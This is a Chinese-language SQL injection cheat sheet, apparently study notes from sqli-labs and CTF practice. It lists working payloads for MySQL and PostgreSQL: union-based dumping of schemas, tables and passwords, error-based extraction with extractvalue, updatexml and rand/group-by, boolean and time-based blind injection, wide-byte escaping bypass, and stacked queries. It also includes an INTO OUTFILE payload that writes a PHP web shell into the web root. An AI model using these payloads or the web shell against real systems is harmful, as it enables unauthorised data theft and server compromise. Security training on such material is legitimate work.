一、类型判断
1.字符型
- 加单引号:select * from table where name='admin'';由于加单引号后变成三个单引号,则无法执行,程序会报错;
- 加 'and 1=1 此时sql 语句为:select * from table where name='admin' and 1=1' ,也无法进行注入,还需要通过注释符号将其绕过;
- 加 'and 1=2--+ 此时sql语句为:select * from table where name='admin' and 1=--' 报错;
2.数字型
- 加单引号,URL:xxx.xxx.xxx/xxx.php?id=3';对应的sql:select * from table where id=3' 这时sql语句出错,抛出异常;
- 加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=3 and 1=1;对应的sql:select * from table where id=3 and 1=1 语句执行正常,与原始页面没有差异;
- 加and 1=2,URL:xxx.xxx.xxx/xxx.php?id=3 and 1=2;对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异;
二、攻击方法
1.联合查询-Mysql
适用于有回显的情况
1.确定注入类型,构造好框架,将前后闭合(如字符型,构造?id=1' --+)
2.测列数:order by x
3.爆显位:union select 1,2,3
4.在显位上查询相关信息:
- 数据库版本------version() 看是否为5.0以上(5.0以上才有information_schema)
- 数据库用户------user() 看是否为root
- 操作系统------ @@version_compile_os 看是否支持大小写或文件路径选择
- 当前数据库名字------database() 为后期猜解做准备
5.爆数据库名:
(以下查询都要让前一个查询出错,如id=-1或and 1=2)
union select 1,2,group_concat(schema_name) from information_schema.schemata
schemata列:schema_name
6.爆表名:
union select 1,2,group_concat(table_name ) from information_schema.tables where table_schema='security'
tables列:table_schema,table_name
7.爆列名:
union select 1,2,group_concat(column_name ) from information_schema.columns where table_schema='security'and table_name='users'
columns列:table_schema,table_name,column_name
8.查数据
2. 联合查询-postgreSql
1.测列数:order by x
2.测显位:
and 1 = 2 union select 'null' null null null 错误
and 1 = 2 union select null,'null' null null 正常
and 1 = 2 union select null null,'null' null 正常
and 1 = 2 union select null null,null,'null' 错误 所以2,3为显位
3.获取信息:
and 1 = 2 UNION SELECT null,version() null null 数据库版本
and 1 = 2 UNION SELECT null current_user null null 用户信息
and 1 = 2 union select null,current_database() null,null 当前数据库信息
4.获取所有数据库名:
and 1 = 2 union select null,string_agg(datname, ','),null,null from pg_database
string_agg(datname, ',')用于将结果用逗号分隔
5.获取当前数据库表名:
and 1 = 2 union select null,string_agg(tablename, ','),null null from pg_tables where schemaname='public'
and 1 = 2 union select null,string_agg(relname, ','),null null from pg_stat_user_tables
6.获取列名:
and 1 = 2 union select null,string_agg(column_name,','), null, null from information_schema.columns where table_name='table name'
7.获取数据:
and 1 = 2 union select null,string_agg(name ','),string agg(password, ','),null from table name
8.补充:判断是否为dba 用户(在 DBA 用户下,是可以进行文件读写的)
获取DBA账号:and 1 = 2 union select string_agg(usename, ','),null,null FROM pg_user WHERE usesuper IS TRUE 列出所有管理员的名字,与当前用户名进行匹配
3. 报错查询
适用于查询结果不回显。通过报错爆出数据
1.XPATH语法错误------extractvalue
查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database()))))
爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))
2.XPATH语法错误------updatexml
爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
爆数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))
3.concat+rand()+group_by()导致主键重复(表至少有3行才能用)
爆数据库名:'union select 1 from (select count(*),concat((select database())," ",floor(rand(0)*2))x from information_schema.tables group by x)a
爆表名:'union select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
爆列名:'union select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name="TABLE_NAME" limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
爆数据:'union select 1 from (select count(*),concat((select COLUMN_NAME from TABLE_NAME limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
4.报错显示不全
最多只能显示32个字符,通过mid函数来分段查看
?id=%27and(select%20updatexml(1,mid(concat(0x7e,(select%20group_concat(flag)from%20ctftraining.flag)),1,32),0x7e))--+
4.文件上传
into outfile语句用于将文件导入或导出
1.利用条件:
- 具有root权限
- 在数据库配置文件中的配置项含有:secure_file_priv=
指定目录:secure_file_priv=/path/to/data,只能上传文件到此目录
不限目录:secure_file_priv=
禁止操作:secure_file_priv=NULL- Mysql中输入 SHOW VARIABLES LIKE "secure_file_priv"; 查看
- 知道数据库的绝对路径。
2.语法:
?id=1')) union select 1,2,"<?php @($_POST['cmd']);?> into outfile "C:/phpstudy/PHPTutorial/WWW/sqli/Less-7/2.php"--+
然后蚁剑
5.布尔盲注
网页只有成功与失败两种状态
1.思路:用and连接substr(str,from,length), length(str)语句,逐个猜解数据库/表/列的名字的字符数以及名字
例如,?id=1 and length(database())=n,n循环猜解db的字符数
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{i},1)='{chr(j)}'--+")猜解表的名称
2.写py脚本自动化,参考布尔盲注详细原理讲解_保姆级手把手讲解自动化布尔盲注脚本编写
6.时间盲注
网页只有一种状态,通过让页面延时达到布尔的效果
1.测闭合:
?id=1 and if(1=2,1,sleep(3))--+ 页面立即返回
?id=1' and if(1=2,1,sleep(3))--+ 页面等待3秒,所以单引号闭合
if(expr1,expr2,expr3)含义是如果expr1是True,则返回expr2,否则返回expr3
2.测数据库名长度:
?id=1' and if(length(database())>8,sleep(2),0) --+
3.测数据库名:
?id=1' and if(ascii (substr(database(),1,1))=115,sleep(2),0) --+
4.太麻烦了,sqlmap吧
7.宽字节注入
网站将特殊符号进行转义,导致注入语句出错
在单双引号、斜杠前加%df,把斜杠"中和"掉
php打开magicquote开关就会转义 使用sqlmap的unmagicquote脚本
8.堆叠注入
查询函数为mysqli_multi_query()时,可以用分号间隔语句,一次输入多个语句
例如:?id=1';insert into users(id,username,password) value (77,'acca','bbc')--+
常用查询语句:show databases; show tables; show columns from table;